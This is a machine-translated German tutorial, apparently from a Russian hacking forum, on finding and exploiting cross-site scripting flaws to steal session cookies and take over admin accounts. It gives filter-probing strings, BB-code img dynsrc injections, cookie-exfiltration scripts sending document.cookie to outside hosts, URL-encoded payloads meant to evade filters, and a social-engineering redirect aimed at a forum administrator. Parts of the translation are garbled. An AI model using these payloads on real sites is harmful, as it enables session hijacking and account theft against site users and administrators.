This page has been robot translated, sorry for typos if any. Original content here.

Beschreibung Xss von A bis Z.



  • Xss ist Css => Cross Site Scripting
  • Wie benutze ich XSS?
  • Was ist ein XSS-Angriff?
  • Was ist passives und aktives XSS?
  • Also, ich werde speziell gehen, um auf dieser Seite XSS zu finden.
  • Und wie kann man feststellen, ob ein Filter vorhanden ist oder nicht?
  • Aktives XSS
  • Wir haben die ganze Zeit über Typencodes gemacht
  • Wie kann ich einen Link zu Xss ersetzen?


  • Xss ist Css => Cross Site Scripting

    Nicht mit CSS zu verwechseln heißt auch XSS
    Zum ersten Mal erschien dieses BAG 1997.



    Wie benutze ich XSS?


    Zuerst müssen wir wissen, was ein Cookie ist.
    Wenn Sie wissen, können Sie überspringen.

    Cookies werden zum Speichern von Anmeldeinformationen auf dem Computer des Besuchers verwendet.
    Wenn Sie sich auf der Website unter dem Nicknamen 'blabluble' registriert haben, hat die Site eine Datei mit Cookies auf Ihrem Computer gespeichert, auf der Ihre Daten verschlüsselt sind.
    Und wenn Sie einen Administrator haben und Sie Zugriff auf die Website haben, und ich bin ein Benutzer, der von Ihnen gestohlen hat (Admin) Cookies, dann kann ich sicher auf die Website gehen, und die Website definiert mich als "admin" - ich werde Administratorrechte haben.

    Um zu ändern (Ersatz gestohlen) Koch rate ich Ihnen, CookieEdit für IE oder integrierte Funktionen in Opera und Firefox zu verwenden.

    Um Cookies abzufangen, müssen Sie einen Ort auf der Website finden, an dem Sie einen XSS-Angriff durchführen können.


    Was ist ein XSS-Angriff?


    XSS-Angriffe sind Angriffe, die nicht auf der Website selbst, sondern auf Benutzern der Website ausgeführt werden.
    XSS ist ein Fehler im Filter, Anwendung.

    Es gibt passives XSS und aktives XSS.

    Was ist passives und aktives XSS?


    Passiv - diese Xss, die das Opfer zur direkten Teilnahme benötigen + gibt es spezifische Einschränkungen und Schwierigkeiten.
    Daher wird passives XSS nicht sehr geschätzt.
    Zum Beispiel müssen Sie es durch eine giftige Verbindung passieren, die Social Engineering, List erfordert.

    Aktiv - dieses XSS, das keine zusätzliche Aktion des Opfers erfordert - es genügt, nur die Seite mit Ihrem XSS zu öffnen und der Java-Code wird automatisch ausgeführt.
    Dank ihrer Automatisierung sind sie sehr nützlich und wertvoll.
    Zum Beispiel, aktive XSS existiert in BB-Tags wegen unzureichender Filterung, wenn Sie eine Nachricht im Forum \ guestbook \ chat hinterlassen, die immer mit jedem Update aktiv sein wird.




    Also, ich werde speziell gehen, um auf dieser Seite XSS zu finden.


    Wie ich früher schrieb, besteht XSS aus Tags, sie bestehen auch aus HTML und Javascript =).

    Javascript kann in HTML eingegeben werden.
    Kann zur Umgehung von Filtern codiert werden. Aber dazu später mehr.

    Woher weißt du, dass XSS auf einer bestimmten Website läuft?
    Schreckliche Verrücktheit des Typs
    <script> alert () </ script> Wir versuchen, dieses Skript in alle verschiedenen Felder einzufügen ... wenn eine Nachricht ausgegeben wurde, wurde das Skript verarbeitet und ausgeführt.

    Die häufigste XSS (beobachtet an allen Orten, wo schlechte Filterung):

    "> <script> alert () </ script>

    Der springende Punkt ist "> .

    Lassen Sie uns darüber nachdenken, was wir tun, wenn wir das Feld "> <script> alert () </ script> eingeben, was passiert?

    Wir geben eine Variable in der Form "> <script> alert () </ script> einer Variablen ein." Die Variable wird verarbeitet, "> führt aus, schließt

    Skript und ruft <script> alert () </ script> auf

    Dieses XSS ist das beliebteste in Suchmaschinen:

    Wir scannen alle Felder der Site und versuchen, "> <script> alert () </ script> einzufügen
    Wenn die Nachricht kam - Sie haben XSS gefunden ...




    Und wie kann man feststellen, ob ein Filter vorhanden ist oder nicht?


    Geben Sie in jedes Feld Folgendes ein: '';! - "<########> = & {(}}
    Als nächstes öffne die HTML-Seite und suche nach dem Wort "########"
    und sehen Sie die folgenden sivoli ..

    Wenn <> dies das erste Zeichen der Sicherheitsanfälligkeit ist, hat der Filter ein Loch.
    Wenn "\ \" Zeichen gleich sind wie sie eingegeben wurden, ist dies das zweite Zeichen der Sicherheitslücke - mögliche zusätzliche Zeichen für den nachfolgenden XSS-Angriff.
    Dann, wenn Sie HTML öffneten, fanden Sie <> dann wahrscheinlich kein Loch im Filter.
    Wenn Sie HTML öffnen, finden Sie, dass <> durch andere Zeichen ersetzt wird, dann ist dies ein Bummer - ein Filter bei
    Es funktioniert normal.
    Es ist auch möglich, Folgendes in das Feld einzugeben, um die Filterung zu überprüfen: "> <> '" `, / \? @%

    Betrachten Sie den Fall, wenn der Filter <> isst

    In diesem Fall gibt es eine Lochwahrscheinlichkeit.
    Zum Beispiel hat der Filter die Bedingung zu essen <script>, <> und.
    Dann probiere <zxcvb script: alert ();

    Der Filter sieht aus, dass nichts gefährlich ist in <IMG% 20SRC = "Java Script: alert (); nein, es schließt und dadurch
    Ausführen des Skripts

    Wenn der Filter verschiedene Codierungen nicht filtert, können Sie natürlich versuchen, das Skript zu codieren und den Code einzufügen.

    Alles, was Sie versuchen müssen, zu finden ...
    Versuche, in die Felder einzutreten und überprüfe sorgfältig, was wir vom Filter erhalten haben.
    Die Methode, um zu verstehen, wie der Filter funktioniert, ob es irgendwelche Fehler hat.
    Wenn der Filter fehlerhaft ist, können wir immer Skripte einfügen.




    Aktives XSS


    Hier ist es notwendig, die erlaubten Tags zu verwenden und sie auszublenden, Sie müssen die Abfrage ausführen.

    Zum Beispiel Tags url, bb, img.
    Der Hauptpunkt der Einfügung ist, dass wir die Abfrage in die img- oder URL-Parität einbetten müssen. Img hat viele Parameter außer src und alt.
    Dieser Fehler wird sehr oft im Forum, in Gästebüchern verwendet ...

    Betrachte aktives XSS.

    Warnungen !!!

    Die Tags [fon * t], [im * g], [ur * l] werden mit * geschrieben, um sicherzustellen, dass sie nicht mit dem Site-Code zusammengeführt werden.
    Um diese Tags zu verwenden, löschen Sie * .

    Überprüfen Sie zum Beispiel das Forum auf die Verwendung der Tags [fon * t], [im * g], [ur * l] und versuchen Sie, ein Skript einzufügen oder zu kombinieren:

    [im * g] httr: //www.qwewqw.ru/1.jpg [/ im * g] Es gibt ein Kreuz ... bedeutet, dass img benutzt wird und wir es aufheben (es ist nur, dass es img aktiviert ist und Admins von Wenn Sie eine Nachricht erstellen, wird sie entfernt. Sie sagen, dass Bilder nicht eingefügt werden können und dass sie verwendet werden kann
    verschiedene Formen) wenn es kein Kreuz gibt ... und die ganze Inschrift hängt, dann versuche dies:
    [im * g src = httr: //www.qwewqw.ru/1.jpg]

    Nun, zum Beispiel haben wir damit eine Kreuzung erreicht:
    [im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]

    Lassen Sie uns überprüfen, ob der Filter ein Leerzeichen enthält, fügen Sie ein Leerzeichen nach der Erweiterung jpg hinzu:
    [im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]
    Wenn es ein Kreuz gibt - dann ist alles in Ordnung.

    Weiter gibt es img Parameter dynsrc und lowsrc, die JavaScript enthalten. Wir versuchen zum Beispiel einzufügen:
    [im * g] http://www.qwewqw.ru/1.jpg dynsrc = Java-Skript: alert () [/ im * g]
    check, send - sende eine Nachricht - das bedeutet, du hast das aktive XSS gefunden und anstelle von alert () kannst du ein beliebiges Skript einfügen.

    Wenn der Filter nicht aufgibt, versuchen Sie Folgendes:
    [im * g] http://www.qweqw.ru/ "/ dynsrc =" Java-Skript: alert () "/ 1.jpg [/ im * g]
    und
    [im * g] http://www.qwewqw.ru/ "/ dynsrc = Java Skript: alert () / 1.jpg [/ im * g]

    Wenn aus den obigen Beispielen ein Kreuz erhalten wird, wird httr: //www.qweqw.ru/1.jpg durch die Adresse des Sniffers ersetzt.

    Es gibt Zeiten, in denen jpg vom Admin deaktiviert wird.




    Wir machten weiterhin Codes wie:


    <script>alert('HakNet')</script>
    java script:alert('HakNet')
    java script:alert('HakNet')/1.jpg и так далие..
    Aber sie brachten keinen Vorteil, das sind nur die Codes zum Testen (Testen) auf Xss.

    Hier ist das Skript:
    <script>
    img = new Image();
    img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
    </script>
    Er stiehlt schon Cookies =)




    Wie kann ich einen Link zu Xss ersetzen?


    Ja, sehr einfach ...
    Es gibt mehrere Möglichkeiten:

    - 1) machen wir das:
    http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script> wo **** die Seite mit Xss.

    Hier ist das kompilierte Skript:
    '><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
    - 2) Du kannst das immer noch tun:
    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script> wo es sich auf http: // haknet bezieht .h16.ru / script / js.js

    und in js.js gibt es:
    img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie; Diese Methode ist zuverlässiger.

    Aber wie ich schon schrieb - manchmal gibt es Schwierigkeiten mit Filtern auf der Seite (unser Skript rollt nicht).
    Dann müssen Sie darüber nachdenken, wie Sie es umgehen können.
    Sie können einfach etwas hinzufügen, etwas ändern oder es im Skript löschen.
    Aber es gibt eine zuverlässigere Option, wenn wir nur das Skript kodieren. Dafür gibt es viele progs.
    Es gibt eine solche Seite wie http://ha.ckers.org/xss.html (Encoder-Decoder).

    Hier ist ein Beispiel:
    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    es wurde codiert:

    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
    - 3) Besonders Verschlüsselung ist notwendig, um nicht nur die Filter zu täuschen, sondern auch ADMIN zu täuschen, wenn passive CSU verwendet wird.

    Hier ist ein Beispiel, das auf Social Engineering basiert.
    Wir suchen nach Kontakt mit dem Forum-Administrator, wir werfen ihm einen Link zu seiner Seite in sein Forum, und er sagt "so cool feature is on the site" und bisher im selben Sinne.
    Und auf unserer Seite wird es so sein, wie du es bereits erraten hast =) hier ist das Skript:

    <script language="JavaScript">
    document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
    </script>

    Was fragen Sie bei document.location.href? )) .. Dies ist Java-Code, der ohne eine Anfrage an die angegebene Website geht.So cho, wir bekommen, gaben wir den Link zum Admin, und er ging auf unsere Website, das ist, was getan wird .. er wirft schnell auf

    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E und das ist schon unser Xss in verschlüsselter Form.

    Hinweis: Dies funktioniert nur, wenn Xss zu dem Site-Administrator gehört, für den Sie den Link gelöscht haben ...
    Mit anderen Worten, die SCHWIERIGKEIT DER PASSIVEN CSU besteht darin, dass die Sicherheitslücke NUR genutzt werden kann, wenn das Opfer auf einer verletzlichen Seite AUTORISIERT ist !!!